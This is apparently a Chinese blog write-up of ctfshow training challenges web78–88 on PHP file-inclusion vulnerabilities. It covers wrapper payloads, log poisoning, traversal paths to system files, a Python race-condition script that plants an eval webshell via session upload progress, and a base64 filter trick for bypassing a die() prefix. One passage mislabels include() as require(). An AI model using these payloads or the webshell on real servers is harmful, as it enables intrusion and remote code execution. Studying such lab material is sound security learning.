ctfshow-web入门-文件包含wp


文件包含wp

在开始前先简单回顾文件包含漏洞原理及利用

文件包含原理及基本利用

在开发时一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。如果我们包含的参数没有被严格的过滤,当被包含恶意文件时,就会产生漏洞。

在php中产生文件包含漏洞的函数主要有四个

include()
include_once()
require()
require_once()
include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行

对于其对于包含文件的位置的查找方式,详见PHP文档:include文档,这里只用知道他是干什么的就好了,

通过include文档可以看到:

文件包含支持封装协议,也就是说,我们可以通过在url中使用这些封装协议来完成更多的事情,这其中也就存在了很多的可以进行攻击的点

  • 这是一方面,php伪协议的利用

支持的协议和封装协议 (文档)

这里有一个前人总结的部分方法:

一般来说就是这些进行利用,具体的应用以题目为例子来进行记录

  • 包含日志

  • 日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。例如,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:www.xxx.com则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

  • 注意 (1)除了我们包含 access.log 以外,我们还可以制造错误,然后包含 error.log (2)如果出现包含不成功的情况,很有可能就是被 open_base_dir() 限制了 (3)实战中最好在凌晨的时候进行包含,要不然日志太大包含会失败 (4)除了 apache 和 nginx 的日志 还有很多其他的日志我们能利用,比如说 ssh 的日志

    常见的路径还有以下这些:

    ?file=.htaccess    //包含同目录下的文件
    ?file=../../../../../../../../../var/lib/locate.db
    ?file=../../../../../../../../../var/lib/mlocate/mlocate.db    //linux中这两个文件储存着所有文件的路径,需要root权限
    ?file=../../../../../../../../../var/log/apache/error.log    //包含错误日志
    ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf    //获取web目录或者其他配置文件
    ?file=../attachment/media/xxx.file    //包含上传的附件

    来源:博客

wp

web78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

没有进行任何的过滤,用上述协议都试一试

php://filter:
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=php://filter/read=convert.base64-encode/resource=index.php

发现可以,再将index.php改为flag.php即可拿到base64编码的flag.php进行解码即可。

php://input:
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=php://input
post------<?php phpinfo();    <?php phpinfo()?>
执行失败

这个方法失败,

data://
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=data://text/plain,<?php phpinfo();?>
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=data://text/plain,<?php show_source('flag.php')?>

成功

web79

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

在上一道的基础上对php进行了过滤,php会被???进行替换,使用data协议进行base64编码后可得

http://9dcd379c-a3ee-40f8-a045-c23d9057bc9c.chall.ctf.show/?file=data://text/plain;base64,PD9waHAgc2hvd19zb3VyY2UoJ2ZsYWcucGhwJyk7
其中base64编码对应的是-------<?php show_source('flag.php');
最开始用<?php show_source('flag.php');?>输出错误,因为后面的?>没有被闭合,所以会有错误
使用<?php show_source('flag.php');?><?php 将其闭合也可以

尝试使用compress.bzip协议进行一次

http://9dcd379c-a3ee-40f8-a045-c23d9057bc9c.chall.ctf.show/?file=compress.bzip2://./flag.bz2

错误,不知道是我的问题还是这题不让这样做,先放一放。

web80

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

对php和data都进行了过滤,不再能使用上述协议进行,包含日志文件进行查看,首先先进行一个请求

http://47d4d5fc-b41c-49f1-b564-6f55ae480f18.chall.ctf.show/<?php phpinfo();?>

注意,这样上传会被编码,需要进行抓包绕过,将其放入UA头,也可以达到效果,后面就是这样做的

传phpinfo成功,getshell成功,先ls,可以看到flag在fl0g.php,

image-20210130153045288

得到flag

在网上看到了另一种解法:

payload:?file=Php://

POST:<?php system('cat fl*');?

这里用hackbar无法传入,可以用burpsuite

没有进行实验,但应该是没问题的

web81

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

多过滤了.,用上一道的方法就可以的

web82

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

多过滤了点号.,这样上一道的方法就不行了,因为access.log中的.会被???替换,无法实现,查阅wp,使用PHP_SESSION_UPLOAD_PROGRESS进行文件包含,可以实现本题的解。在这里进行一个记录,主要参考文章

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

利用session.upload_progress进行文件包含和反序列化渗透

通过这些特性可以得出利用原理:利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置,具体原理如上图红框中所示

而在php.ini有以下几个默认选项

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session里有一个默认选项,session.use_strict_mode默认值为off。

此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.

注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

但是session.upload_progress.cleanup默认是开启的,一旦读取了所有的post数据,他就会清除进度信息,我们使用条件竞争来进行文件上传与文件包含,在文件上传没有完成的时候进行文件包含,执行我们的恶意代码。

session文件默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

进行一个简单梳理,在进行文件上传的时候(文件内容不重要),我们同时post传入与session.upload_progress.name同名的变量(变量名默认为PHP_SESSION_UPLOAD_PROGRESS),同时,我们自行设置一个cookie,即PHPSESSID,(cookie内容不重要)这时候,PHP会生成一个与我们PHPSESSID值相关的临时文件,即/tmp/sess_flag,(字符串flag是cookie的内容,可以自行改变)该文件的内容会被写入session.upload_progress.prefix+session.upload_progress.name两变量的值,而我们将session.upload_progress.name变量的值设置为了恶意代码。再通过条件竞争的文件包含包含该文件,即可执行恶意代码

接下来是本题的wp

首先建立一个文件上传,post请求的网页进行请求(这样方便点,也可以写脚本,我的python稀烂就这样做了)

<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data"><!--题目链接-->
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PHP_SESSION_UPLOAD_PROGRESS<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>123<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>

</form>
</body>
</html>

:hexoPostRenderEscape–>

提交抓包以后传入爆破(爆破是为了多次请求以能够条件竞争在文件上传时进行文件包含)

添加了cookie以及随便加了一个爆破点,因为cookie值为abc,所以知道文件包含的路径为/?file=/tmp/sess_abc,这时候再抓一个文件包含访问的包

同时开启爆破

可以看到文件包含成功了,ls出了fl0g.php,那么接下来重新修改system函数中内容为cat fl0g.php再爆破,即可得到flag

有一说一,真滴很秀这些姿势

除了抓包,还可以用脚本,下面是大佬们的脚本

import io
import sys
import requests
import threading

host = 'http://adc556a9-c7fc-45cc-a82a-76775620e81b.chall.ctf.show/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},#这里的输出MD5编码的1,是用于后面读取的时候if判断是否成功成功执行了上述命令,也可以用别的方法进行判断
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:#这是1的MD5,如果出现,说明这一个response已经执行了我们想要的命令,
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

web83


Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到有一点区别,就是多了session_destory()

session_destroy() 销毁当前会话中的全部数据, 但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。 如果需要再次使用会话变量, 必须重新调用 session_start() 函数。

也就是说我们需要重新调用一次session_start()函数即可,在我们的请求页面加上即可

<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data"><!--题目链接-->
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PHP_SESSION_UPLOAD_PROGRESS<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>123<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>

</form>
</body>
</html>
<?php
session_start();
?>

:hexoPostRenderEscape–>

再按照上一题的方法即可解出

web84

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

会对tmp目录下文件进行删除,但依旧可以按照上一道的思路做,自己抓包爆破依然可以,没有受到rm -rf的影响,但肉眼可见,还是脚本更为简便,接下来还是要提升下编码能力啊

web85

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }

}else{
    highlight_file(__FILE__);
}
  • file_get_contents:将整个文件读入一个字符串
  • strpos :查找字符串首次出现的位置

要求字符<出现的位置必须在第一个,但其实没有啥影响,用脚本依旧可以跑过。抓包也可以过,也不清楚为什么没有被限制到

web86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);


}else{
    highlight_file(__FILE__);
}

反而去掉了一些限制,只是设置了include的path,还是跑脚本,抓包爆破都可以

web87

本题与之前的题不一样了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

在过滤了这些的基础上使用了file_put_contents函数

  • file_put_contents–将一个字符串写入文件,第一个参数是文件名,第二个参数是写入的字符串(如果选择的文件不存在则创建一个该文件)
  • 可以看到有url解码,我们可以进行url双编码绕过。
  • 本题主要的点就是写入的语句是死亡语句,即会执行die,结束后面我们想要执行的传入的content的语句,所以使用php://filter对其进行绕过。具体可参见下面两篇文章
  • 博客1博客2

主要就是使用php://filter对进行绕过,这里使用base64解码的方法,我们知道,base64解码只对a-z,A-Z,0-9进行解码,所以我们对这一条语句进行解码,那么具有php语句特征的<?>就没有了,这样就不会执行die,(也可以用别的方法,协议,比如rot13),我们要注意,base64解码是以4字节为一组,这里的php die共6个字节,需要自行添加两个才能使其正确解码不影响后面的正常语句解码,

我们需要使用filter协议write写入一个文件

php://filter/write=convert.base64-decode/resource=c.php    #c.php是自己随意选的

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%32%65%25%37%30%25%36%38%25%37%30
这是两次url编码后的内容

同时开启post,传入参数content,

content=aa<?php phpinfo();?>
content=aaPD9waHAgcGhwaW5mbygpOyA/Pg==
这里加的aa就是为了与前面的phpdie结合凑够8个字符进行base64解码,后面的正常base64语句才能正常解码

上传后访问url/c.php:

i

说明成功

为了得到flag,用同样的方式传一个base64编码的一句话木马上去getshell,

直接访问,可以看到成功,现在再用post传参

查看源代码

这道题对死亡函数的绕过算是经典题型了,除了base64的方法也可以好好看看。

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了很多东西,但没有对:进行过滤,所以还是可以用伪协议。挺data即可,使用base64加密

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

#注意,因为对=和+有过滤,所以需要去掉base64编码后的=和+,

还剩两道,暂时就不看了,用到的知识更多一些,后面再来,文件包含先告一段落


文章作者: 0xahh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xahh !
评论
  目录